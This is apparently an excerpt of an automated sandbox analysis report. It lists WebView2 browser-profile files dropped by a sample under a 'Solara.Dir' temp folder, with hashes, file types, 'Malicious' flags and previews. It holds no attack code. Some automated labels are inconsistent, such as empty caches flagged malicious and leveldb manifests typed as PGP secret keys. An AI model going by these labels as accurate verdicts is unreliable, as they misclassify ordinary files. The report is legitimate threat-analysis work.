MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension State\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	114
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCT
MD5:	891A884B9FA2BFF4519F5F56D2A25D62
SHA1:	B54A3C12EE78510CB269FB1D863047DD8F571DEA
SHA-256:	E2610960C3757D1757F206C7B84378EFA22D86DCF161A98096A5F0E56E1A367E
SHA-512:	CD50C3EE4DFB9C4EC051B20DD1E148A5015457EE0C1A29FFF482E62291B32097B07A069DB62951B32F209FD118FD77A46B8E8CC92DA3EAAE6110735D126A90EE
Malicious:	true
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension State\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	377
Entropy (8bit):	5.342978661935149
Encrypted:	false
SSDEEP:	6:2fsXV0AB1CHhJ23f3csDHISQ+V5pYg2KLlIfsXt3+q2PCHhJ23f3csDHISQ+V5p7:2kFTEsDzV5NLukd3+vBEsDzV5wFUv
MD5:	9186099EFFA8F7D5D2CAAB2A9E42914D
SHA1:	5E0879230112B4CEA8DD9D2B55B598D8316BBCEF
SHA-256:	412C76EA40695AA92519FE5F5F6B2F501688C23788DC365CFAA0B70F13F16F92
SHA-512:	B9DFBC95FBA53105559219781E3A8E2547BE3347EECDC6638566A3F9D73B56CFF383619272ADA39041826C4E761340760A2F4E4CD5E7662471CEDDBD203CBE9E
Malicious:	true
Preview:	2024/06/29-10:30:28.493 21bc Creating DB C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension State since it was missing..2024/06/29-10:30:28.518 21bc Reusing MANIFEST C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension State/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension State\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Favicons

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 10, cookie 0x8, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6975083372685086
Encrypted:	false
SSDEEP:	24:LLiZxh0GY/l1rWR1PmCx9fZjsBX+T6UwcE85fBmI:EBmw6fU1zBmI
MD5:	F5BBD8449A9C3AB28AC2DE45E9059B01
SHA1:	C569D730853C33234AF2402E69C19E0C057EC165
SHA-256:	825FF36C4431084C76F3D22CE0C75FA321EA680D1F8548706B43E60FCF5B566E
SHA-512:	96ACDED5A51236630A64FAE91B8FA9FAB43E22E0C1BCB80C2DD8D4829E03FBFA75AA6438053599A42EC4BBCF805BF0B1E6DFF9069B2BA182AD0BB30F2542FD3F
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	true
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlGYbK:Ls3D
MD5:	6B83EFC47295D7043DD2783B2EDECCA7
SHA1:	036910028D5BD4321D01440458966112195E28D4
SHA-256:	B4C1E5565A7654251C88FBC2F0FBEF1D7EF55CE6AF64A2502B416A359BB84A39
SHA-512:	B16B6277A2382A595E07769CFF5CC01B5F0E956F657076CB48D8C1E0E0A898B95C2162B3ABB69BED805C79E2774EBA53D92588E38E788047581FB90736B7C5E2
Malicious:	true
Preview:	........................................k..}.z/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	true
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Local Storage\leveldb\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Local Storage\leveldb\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	389
Entropy (8bit):	5.331509009048738
Encrypted:	false
SSDEEP:	6:2fsXI0q1CHhJ23f3csDHISQ+V51a2jM8B2KLlIfsXZL+q2PCHhJ23f3csDHISQ+D:2ksEsDzV51jFLukpyvBEsDzV51EFUv
MD5:	1570AA61A09B1E7D738E50F190CEEC3F
SHA1:	540BD1481E8AE59701FA769780415DB8AA01D2B3
SHA-256:	5253C12F1104AC8D8E237D845CE69470B37A99B807F53B984B9030C7307E9583
SHA-512:	2AF44B396C67986923ABA1DB2A7ABAC5C75E19964E5ABF7752F0BB96B706D625637E6F2ED23C45AE84D38F061697AAB1F4C152893C4E00D44C1E8CCFD05F366D
Malicious:	true
Preview:	2024/06/29-10:30:28.312 22a8 Creating DB C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Local Storage\leveldb since it was missing..2024/06/29-10:30:28.492 22a8 Reusing MANIFEST C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Local Storage\leveldb/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Local Storage\leveldb\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Login Data

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 21, cookie 0xc, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	43008
Entropy (8bit):	0.9009435143901008
Encrypted:	false
SSDEEP:	96:C2BeymwLCn8MouB6wzFlXqiEqUvJKLuyn:C2TLG7IwRFqidn
MD5:	FB3D677576C25FF04A308A1F627410B7
SHA1:	97D530911F9CB0C37717ABB145D748982ADA0440
SHA-256:	A79300470D18AF26E3C5B4F23F81915B92D490105CE84A8122BF8100EC0C7517
SHA-512:	ED6666B064958B107E55BD76E52D2E5BF7A4791379902D208EF909A6B68803240D372CE03641249EB917C241B36A5684656A48D099A8A084AD34BA009857B098
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5396
Entropy (8bit):	4.75096894017149
Encrypted:	false
SSDEEP:	96:stdf/vF0s13ACa8zmdY1h6Cb7/x+6MhmuecmAe3lIMR7K:stdnvF0sqCakYYvbV+FiAIdhK
MD5:	8DFA1E38A7B9B13555155EAD58544781
SHA1:	440300F3A028613589D9CAB3158CE076271A5561
SHA-256:	D3E79D1664C85D23A5EC98C19F1E5E2121811D95CEE44064D7CF618886301010
SHA-512:	D771C83C47553CF986EBC8EA3B3CEBF68F873A7D89B253DDF58A14FFEE11C3858B1ED13E49C0DFA125A56A0172A13978B9F200A19C36A0A661B49078E681DF20
Malicious:	true
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13364145028053968","alternate_error_pages":{"backup":true,"enabled":false},"autofill":{"autostuff_enabled":false,"credit_card_enabled":false,"custom_data_enabled":false,"custom_data_fill_enabled":false,"custom_data_identify_info_from_form_enabled":false,"custom_data_save_enabled":false},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"browser_content_container_height":984,"browser_content_container_width":1066,"browser_content_container_x":0,"browser_content_container_y":0,"countryid_at_install":17224,"credentials_enable_service":false,"dips_timer_last_update":"13364145027468905","dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\README

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.2629097520179995
Encrypted:	false
SSDEEP:	3:RGXKRjg0QwVIWRKXECSAV6jDyhjgHGAW+LB2Z4MKLFE1SwhiFAfXQmWyKBPMwRgK:z3frsUpAQQgHGwB26MK8Sw06fXQmWtRT
MD5:	643E00B0186AA80523F8A6BED550A925
SHA1:	EC4056125D6F1A8890FFE01BFFC973C2F6ABD115
SHA-256:	A0C9ABAE18599F0A65FC654AD36251F6330794BEA66B718A09D8B297F3E38E87
SHA-512:	D91A934EAF7D9D669B8AD4452234DE6B23D15237CB4D251F2C78C8339CEE7B4F9BA6B8597E35FE8C81B3D6F64AE707C68FF492903C0EDC3E4BAF2C6B747E247D
Malicious:	false
Preview:	Microsoft Edge settings and storage represent user-selected preferences and information and MUST not be extracted, overwritten or modified except through Microsoft Edge defined APIs.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6780
Entropy (8bit):	5.581010184052061
Encrypted:	false
SSDEEP:	96:vLi5Plf/ROoBpkF5d17ik7VaTEv9V5h5pg5vezodIU8w7pSpsA5IOrMn3YPo0MG5:OBrz49l5SSpFIOAn3go0iu9
MD5:	E249DA3CBB133385A3201A06E7DF4806
SHA1:	832847D6A0270426E154EAB016AB957A819451AD
SHA-256:	DD99A72365A984DADB5F96F7F0278CC84D3680236312CA3F60DE214536D257B7
SHA-512:	C8AF063E240702F186AFF7D23F586AD842290E5A87C935E9A11CE52DC93B06FF8F52AC9E50539987888D2285311F6D07020C113F323BA663243CC69E7A61674A
Malicious:	true
Preview:	{"extensions":{"settings":{"dgiklkfkllikcanfonkcabmbdfmgleag":{"active_permissions":{"api":[],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13364145027088244","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13364145027088244","location":5,"manifest":{"content_capabilities":{"include_globs":["https://excel.officeapps.live.com/","https://onenote.officeapps.live.com/","https://powerpoint.officeapps.live.com/","https://word-edit.officeapps.live.com/","https://excel.officeapps.live.com.mcas.ms/","https://onenote.officeapps.live.com.mcas.ms/","https://word-edit.officeapps.live.com.mcas.ms/","https://excel.partner.officewebapps.cn/","https://onenote.partner.officewebapps.cn/","https://powerpoint.partner.officewebapps.cn/","https://word-edit.partner.officewebapps.cn/","https://excel.gov.online.office365.us/","

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Session Storage\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Session Storage\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	377
Entropy (8bit):	5.327142674092334
Encrypted:	false
SSDEEP:	6:2fsXZ1CHhJ23f3csDHISQ+V5WQM72KLlIfsXZOyq2PCHhJ23f3csDHISQ+V5WQMH:2k1EsDzV5ILukJjvBEsDzV5HFUv
MD5:	7781BB023D6CF376CCEF828FB9032448
SHA1:	1E3D07C66867A190D7F7D8CF49639A6BD4B7A481
SHA-256:	267E20748EE14A2C449A1F35CDC24142B12432235F578C271811D580BF832A2D
SHA-512:	1810693C64E66E3931B97F404DC0845886B58C897AE6E936DCCDFD458C9BA9FF6B8F746BC0A1B0462B9481049987097C49D7C815132F8A5E724B22FB1E5BDE32
Malicious:	true
Preview:	2024/06/29-10:30:28.456 2270 Creating DB C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Session Storage since it was missing..2024/06/29-10:30:28.611 2270 Reusing MANIFEST C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Session Storage/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Session Storage\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Site Characteristics Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.473726825238924
Encrypted:	false
SSDEEP:	3:41tt0diERGn:et084G
MD5:	148079685E25097536785F4536AF014B
SHA1:	C5FF5B1B69487A9DD4D244D11BBAFA91708C1A41
SHA-256:	F096BC366A931FBA656BDCD77B24AF15A5F29FC53281A727C79F82C608ECFAB8
SHA-512:	C2556034EA51ABFBC172EB62FF11F5AC45C317F84F39D4B9E3DDBD0190DA6EF7FA03FE63631B97AB806430442974A07F8E81B5F7DC52D9F2FCDC669ADCA8D91F
Malicious:	false
Preview:	.On.!................database_metadata.1

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Site Characteristics Database\CURRENT (copy)

Download File

